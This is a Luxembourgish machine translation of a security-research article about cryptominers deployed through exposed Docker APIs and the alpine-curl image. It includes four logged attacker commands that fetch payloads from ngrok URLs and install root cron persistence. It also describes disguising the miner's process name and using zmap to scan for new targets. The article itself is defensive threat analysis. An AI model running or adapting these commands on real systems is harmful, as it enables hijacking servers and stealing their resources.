Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen

Mir analyséieren d'Donnéeë gesammelt mat Hunnegbehälter, déi mir erstallt hunn fir Geforen ze verfolgen. A mir hunn bedeitend Aktivitéit vun onerwënschten oder onerlaabten cryptocurrency-Miner entdeckt, déi als rogue Container ofgesat goufen mat engem Communautéit publizéiert Bild op Docker Hub. D'Bild gëtt als Deel vun engem Service benotzt deen béiswëlleg cryptocurrency Miner liwwert.

Zousätzlech sinn Programmer fir mat Netzwierker ze schaffen installéiert fir oppe Nopeschcontainer an Uwendungen duerchzeféieren.

Mir loossen eis Honeypots sou wéi et ass, dat heescht mat Standardastellungen, ouni Sécherheetsmoossnamen oder spéider Installatioun vun zousätzlech Software. Notéiert w.e.g. datt Docker Empfehlungen fir initial Setup huet fir Feeler an einfache Schwachstelle ze vermeiden. Awer d'Honeypots déi benotzt gi sinn Container, entwéckelt fir Attacken z'entdecken déi op d'Containeriséierungsplattform riicht, net d'Applikatiounen an de Container.

Déi detektéiert béiswëlleg Aktivitéit ass och bemierkenswäert well se keng Schwachstelle erfuerdert an och onofhängeg vun der Docker Versioun ass. E falsch konfiguréierten, an dofir oppenen Containerbild ze fannen ass alles wat Ugräifer brauche fir vill oppe Serveren ze infizéieren.

Déi net zougemaach Docker API erlaabt de Benotzer eng breet Palette vun Équipen, dorënner eng Lëscht vun Lafen Container kréien, Logbicher aus engem spezifeschen Container kréien, Start, Stoppen (inklusiv gezwongen) an esouguer en neie Container aus engem spezifeschen Bild mat spezifizéierten Astellungen schafen.

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen
Op der lénkser Säit ass d'Malware Liwwermethod. Riets ass d'Ëmgéigend vum Ugräifer, wat et erlaabt d'Biller op afstand ze rullen.

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen
Verdeelung no Land vun 3762 oppen Docker APIs. Baséiert op Shodan Sich vum 12.02.2019/XNUMX/XNUMX

Attack Kette an Notzlaascht Optiounen

Béiswëlleg Aktivitéit gouf festgestallt net nëmme mat der Hëllef vun Hunnegdëppen. Daten vum Shodan weisen datt d'Zuel vun exponéierten Docker APIs (kuckt zweet Grafik) eropgaang ass zënter mir e falsch konfiguréierten Container ënnersicht hunn, deen als Bréck benotzt gëtt fir Monero Krypto-Währungsmining Software z'installéieren. Am Oktober d'lescht Joer (2018, aktuell Daten du kanns esou ausgesinn ca. Iwwersetzer) et waren nëmmen 856 oppe APIen.

Eng Ënnersichung vun der Honeypot Logbicher gewisen, datt Container Bild Benotzen war och mat der Benotzung vun assoziéiert geck, e Tool fir sécher Verbindungen opzebauen oder Traffic vun ëffentlech zougängleche Punkten op spezifizéierte Adressen oder Ressourcen (zum Beispill localhost) weiderzebréngen. Dëst erlaabt Ugräifer dynamesch URLen ze kreéieren wann se Notzlaascht op en oppene Server liwweren. Drënner sinn Code Beispiller aus de Logbicher déi Mëssbrauch vum ngrok Service weisen:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Wéi Dir gesitt, ginn déi eropgeluede Dateie vu stänneg verännerend URLen erofgelueden. Dës URLen hunn e kuerzen Verfallsdatum, sou datt Notzlaascht net nom Verfallsdatum erofgeluede kënne ginn.

Et ginn zwou Notzlaaschtoptiounen. Déi éischt ass e kompiléierten ELF Miner fir Linux (definéiert als Coinminer.SH.MALXMR.ATNO) deen un de Biergbau verbënnt. Déi zweet ass e Skript (TrojanSpy.SH.ZNETMAP.A) entwéckelt fir verschidde Netzwierkinstrumenter ze kréien déi benotzt gi fir Netzwierkbereich ze scannen an duerno no nei Ziler ze sichen.

De Dropper Skript setzt zwou Variabelen, déi dann benotzt gi fir de Krypto-Währungsminer z'installéieren. D'HOST Variabel enthält d'URL wou déi béiswëlleg Dateie lokaliséiert sinn, an d'RIP Variabel ass den Dateinumm (tatsächlech den Hash) vum Miner deen ofgesat gëtt. D'HOST Variabel ännert sech all Kéier wann d'Hash Variabel ännert. De Skript probéiert och ze kontrolléieren datt keng aner cryptocurrency Miner um attackéierte Server lafen.

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen
Beispiller vun HOST a RIP Variablen, souwéi e Code Snippet benotzt fir ze kontrolléieren datt keng aner Miner lafen

Ier Dir de Miner ufänkt, gëtt et op nginx ëmbenannt. Aner Versioune vun dësem Skript ëmbenennen de Miner op aner legitim Servicer déi an Linux Ëmfeld präsent sinn. Dëst ass normalerweis genuch fir Kontrollen géint d'Lëscht vun de lafende Prozesser z'iwwergoen.

D'Sichskript huet och Features. Et funktionnéiert mam selwechten URL Service fir déi néideg Tools z'installéieren. Dorënner ass d'Zmap Binär, déi benotzt gëtt fir Netzwierker ze scannen an eng Lëscht vun oppene Ports ze kréien. De Skript lued och eng aner Binär déi benotzt gëtt fir mat de fonnte Servicer ze interagéieren an Bannere vun hinnen ze kréien fir zousätzlech Informatioun iwwer de fonnte Service ze bestëmmen (zum Beispill seng Versioun).

De Skript bestëmmt och e puer Netzwierkbereich fir ze scannen, awer dëst hänkt vun der Versioun vum Skript of. Et setzt och d'Zilporte vun de Servicer - an dësem Fall Docker - ier de Scan leeft.

Soubal méiglech Ziler fonnt ginn, ginn Banneren automatesch vun hinnen geläscht. De Skript filtert och Ziler ofhängeg vun de Servicer, Uwendungen, Komponenten oder Plattformen vun Interesse: Redis, Jenkins, Drupal, MODX, Kubernetes Master, Docker 1.16 Client an Apache CouchDB. Wann de gescannte Server mat engem vun hinnen entsprécht, gëtt se an enger Textdatei gespäichert, déi Ugräifer spéider fir spéider Analyse an Hacking benotze kënnen. Dës Textdateien ginn op d'Servere vun den Ugräifer iwwer dynamesch Linken eropgelueden. Dat ass, eng separat URL gëtt fir all Datei benotzt, dat heescht datt de spéideren Zougang schwéier ass.

Den Attackvektor ass e Docker-Bild, wéi et an den nächsten zwee Stéck Code ka gesi ginn.

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen
Uewen ass ëmbenannt op e legitimen Service, an ënnen ass wéi zmap benotzt gëtt fir Netzwierker ze scannen

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen
Am Top sinn virdefinéiert Netzwierkberäicher, ënnen sinn spezifesch Ports fir no Servicer ze sichen, dorënner Docker

Wéi déi net-privat Docker API an ëffentlech Biller vun der Gemeinschaft gi benotzt fir cryptocurrency Miner ze verdeelen
De Screenshot weist datt d'Alpine-Curl Bild méi wéi 10 Millioune Mol erofgeluede gouf

Baséierend op Alpine Linux a Curl, e ressourceeffizienten CLI Tool fir Dateien iwwer verschidde Protokoller ze transferéieren, kënnt Dir bauen Docker Bild. Wéi Dir am virege Bild gesitt, ass dëst Bild scho méi wéi 10 Millioune mol erofgeluede ginn. Eng grouss Unzuel vun Downloads kann heeschen dëst Bild als Entréespunkt ze benotzen; dëst Bild gouf viru méi wéi sechs Méint aktualiséiert; Benotzer hunn aner Biller vun dësem Repository net sou dacks erofgelueden. An Docker Punkt vun der Entrée - eng Rei vun Instruktioune benotzt fir e Container ze konfiguréieren fir se ze lafen. Wann d'Entrée Punkt Astellunge falsch sinn (zum Beispill, de Container ass aus dem Internet oppe lénks), kann d'Bild als Attack Vecteure benotzt ginn. Ugräifer kënnen et benotzen fir eng Notzlaascht ze liwweren wa se e falsch konfiguréierten oder oppene Container fannen, deen net ënnerstëtzt gëtt.

Et ass wichteg ze bemierken datt dëst Bild (Alpine-Curl) selwer net béiswëlleg ass, awer wéi Dir uewen gesitt, kann et benotzt ginn fir béiswëlleg Funktiounen auszeféieren. Ähnlech Docker Biller kënnen och benotzt ginn fir béiswëlleg Aktivitéiten auszeféieren. Mir hunn Docker kontaktéiert a mat hinnen un dësem Thema geschafft.

Recommandatiounen

Falsch Astellung bleift konstante Problem fir vill Firmen, besonnesch déi ëmsetzen DevOps, konzentréiert sech op séier Entwécklung a Liwwerung. Alles gëtt verschäerft duerch d'Noutwendegkeet fir d'Regele fir d'Audit an d'Iwwerwaachung ze respektéieren, d'Notzung fir d'Vertraulechkeet vun den Donnéeën ze iwwerwaachen, wéi och den enorme Schued vun hirer Net-Konformitéit. D'Integratioun vun der Sécherheetsautomatiséierung an den Entwécklungsliewenszyklus hëlleft Iech net nëmmen Sécherheetslächer ze fannen déi soss onentdeckt kënne ginn, awer et hëlleft Iech och onnéideg Aarbechtsbelaaschtung ze reduzéieren, sou wéi zousätzlech Software Builds fir all entdeckt Schwachstelle oder Mësskonfiguratioun no enger Applikatioun ofgebaut gëtt.

Den Tëschefall, deen an dësem Artikel diskutéiert gëtt, beliicht d'Noutwendegkeet fir Sécherheet vun Ufank un ze berücksichtegen, dorënner déi folgend Empfehlungen:

  • Fir Systemadministratoren an Entwéckler: Iwwerpréift ëmmer Är API Astellunge fir sécher ze stellen datt alles konfiguréiert ass fir nëmmen Ufroe vun engem spezifesche Server oder engem internen Netzwierk ze akzeptéieren.
  • Follegt de Prinzip vun de mannst Rechter: suergen datt Container Biller ënnerschriwwen a verifizéiert sinn, limitéiert Zougang zu kriteschen Komponenten (Container Startservice) a füügt Verschlësselung un Netzwierkverbindungen.
  • Follegt Recommandatiounen an erméiglechen Sécherheetsmechanismen, z.B. vum Docker an gebaut-an Sécherheet Fonctiounen.
  • Benotzt automatiséiert Scannen vu Runtimes a Biller fir zousätzlech Informatioun iwwer d'Prozesser déi am Container lafen ze kréien (zum Beispill fir Spoofing z'entdecken oder no Schwachstelle ze sichen). Applikatiounskontroll an Integritéitsiwwerwaachung hëllefen anormal Ännerungen op Serveren, Dateien a Systemberäicher ze verfolgen.

Trendmicro hëlleft DevOps Teams sécher ze bauen, séier ausrollen an iwwerall starten. Trend Micro Hybrid Cloud Sécherheet Bitt mächteg, streamlined an automatiséiert Sécherheet iwwer d'DevOps Pipeline vun enger Organisatioun a bitt verschidde Bedrohungsverteidegungen XGen fir kierperlech, virtuell a Wollek Aarbechtslaascht beim Runtime ze schützen. Et gëtt och Container Sécherheet mat Deep Sécherheet и Deep Sécherheet Smart Check, déi Docker Container Biller fir Malware a Schwachstelle scannt zu all Punkt an der Entwécklungspipeline fir Geforen ze vermeiden ier se ofgesat ginn.

Unzeeche vu Kompromëss

Zesummenhang Hashes:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

op Docker Video Course Praktesch Spriecher weisen wéi eng Astellunge fir d'éischt musse gemaach ginn fir d'Wahrscheinlechkeet ze minimiséieren oder d'Optriede vun der uewen beschriwwener Situatioun komplett ze vermeiden. An den 19-21 August op engem online intensiv DevOps Tools & Cheats Dir kënnt dës an ähnlech Sécherheetsproblemer mat de Kollegen an den praktizéierenden Enseignanten op enger Table Ronde diskutéieren, wou jidderee sech kann ausschwätzen an op d'Péng an d'Erfolleg vun erfuerene Kollegen lauschteren.

Source: will.com

Setzt e Commentaire